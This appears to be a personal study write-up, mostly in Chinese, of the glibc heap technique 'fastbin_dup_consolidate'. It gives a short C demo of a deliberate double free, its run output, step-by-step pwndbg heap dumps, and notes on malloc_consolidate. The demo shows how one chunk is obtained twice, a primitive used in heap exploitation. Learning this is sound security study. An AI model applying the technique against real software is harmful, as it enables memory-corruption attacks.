4.fastbin_dup_consolidate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}
1
2
3
4
5
6
7
8
9
10
11
user@ubuntu:~/workspace/pwn/fastbin_dup_consolidate$ vim fastbin_dup_consolidate.c
user@ubuntu:~/workspace/pwn/fastbin_dup_consolidate$ gcc -g fastbin_dup_consolidate.c -o fastbin_dup_consolidate
user@ubuntu:~/workspace/pwn/fastbin_dup_consolidate$ ./fastbin_dup_consolidate
Allocated two fastbins: p1=0xf1f010 p2=0xf1f060
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0xf1f0b0
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0xf1f010 0xf1f010

0x01 两次malloc后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pwndbg> heap
Top Chunk: 0x6020a0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x20f61,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>

0x02 第一次free p1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pwndbg> heap
Top Chunk: 0x6020a0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x20f61,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>

0x03 malloc(0x400) 分配一个 large chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pwndbg> heap
Top Chunk: 0x6024b0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x7ffff7dd1bb8 <main_arena+152>,
bk = 0x7ffff7dd1bb8 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 0x50,
size = 0x50,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20b51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x602000 ◂— 0x7ffff7dd1bb8
largebins
empty
pwndbg> p main_arena
$4 = {
mutex = 0x0,
flags = 0x1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x6024b0,
last_remainder = 0x0,
bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x602000, 0x602000, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>...},
binmap = {0x20, 0x0, 0x0, 0x0},
next = 0x7ffff7dd1b20 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
pwndbg>

==fastbins中的chunk已经不见,反而出现在了smallbins中,并且chunk p2中的prev_size字段和size字段都被修改!!!==
看main_arena的bins,有两个变成了0x602000

补充:large chunk的分配过程:

1
2
3
4
5
6
7
8
9
10
/*If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation is not invoked all that often in most programs. And the programs that it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index(nb);
if(have_fastchunks(av))
malloc_consolidate(av);
}

==当分配 large chunk 时,首先根据 chunk 的大小获得对应的 largebin 的 index,接着判断当前分配区的 fastbins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fastbins 中的chunk,并将这些空闲 chunk 加入unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的chunk 按照大小被放回smallbins 或largebins 中。==

==由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1==

0x04:第二次free p1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pwndbg> heap
Top Chunk: 0x6024b0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x7ffff7dd1bb8 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 0x50,
size = 0x50,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20b51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p main_arena
$5 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x6024b0,
last_remainder = 0x0,
bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x602000, 0x602000, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>...},
binmap = {0x20, 0x0, 0x0, 0x0},
next = 0x7ffff7dd1b20 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
pwndbg>

p1再次被放到fastbisn中,于是p1同时存在于fastbins和smallbins中。
第一次malloc,chunk 从fastbins中取出;
第二次malloc,chunk 从smallbins中取出。

==????为什么这里看到的是只有fastbins,smallbins没看到嘞???!!==

——->很久以后对上面的回答,确实是同时存在fastbins和smallbins中的,只是pwndbg插件输bins命令的时候smallbins中没有,但是在main_arena的bins里面还是有602000的、

0x05:void *p4 = malloc(0x40);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pwndbg> heap
Top Chunk: 0x6024b0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x7ffff7dd1bb8 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 0x50,
size = 0x50,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20b51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p main_arena
$2 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x6024b0,
last_remainder = 0x0,
bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x602000, 0x602000, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>...},
binmap = {0x20, 0x0, 0x0, 0x0},
next = 0x7ffff7dd1b20 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
pwndbg>

0x06:p5 = malloc(0x40);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pwndbg> heap
Top Chunk: 0x6024b0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x7ffff7dd1bb8 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0x50,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20b51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p main_arena
$3 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x6024b0,
last_remainder = 0x0,
bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>...},
binmap = {0x20, 0x0, 0x0, 0x0},
next = 0x7ffff7dd1b20 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
pwndbg>

chunk p4 和 p5在同一位置。

疑问:
为什么我调试的时候,第二次free(p1)后,fastbins里出现了chunk p1,但是通过gdb的bins查看fastbins里的确有chunk p1,但是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

但是最后p4和p5又的确指向同一chunk

——>上面的这个问题 我当时是想表达什么???

0x07:总结

malloc()申请一块内存

  • 首先去fastbins中找
  • 然后去smallbins中找
  • 然后到largebins中寻找,但是在找之前,先执行fastbins的合并操作,合并后的这个块丢到unsortedbin中,然后进入如下这个大循环:

  • 按照 FIFO 的方式逐个将 unsorted bin 中的 chunk 取出来
    如果是 small request,则考虑是不是恰好满足,是的话,直接返回。
    如果不是的话,放到对应的 bin 中。

  • 尝试从 large bin 中分配用户所需的内存

通过申请一个large_chunk来触发fastbins的合并,合并后被丢到unsortedbin,又会在大循环中把这个unsortedbin中的chunk放回符合他大小对应的bins中去。
此时这个被丢回smallbins的chunk可以被再次释放了(因为不在fastbins中了),所以这时fastbins里有这个块,unsortedbin里也有这个块,那么再malloc两次,这两个指向同一个。